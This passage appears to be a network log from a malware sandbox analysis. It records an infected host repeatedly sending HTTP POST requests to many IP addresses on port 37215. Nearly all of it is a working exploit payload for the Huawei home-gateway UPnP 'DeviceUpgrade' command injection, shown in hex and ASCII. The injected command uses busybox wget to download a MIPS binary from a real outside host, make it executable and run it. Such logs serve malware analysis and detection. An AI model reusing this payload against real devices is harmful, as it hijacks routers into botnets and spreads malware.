22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:05.148643017 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:06.972606897 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:10.716531038 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:18.140636921 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.13	49762	156.241.93.225	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:55:03.600053072 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.13	59312	156.254.85.239	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:55:04.208724022 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:05.756625891 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:07.580549002 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:11.228533983 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 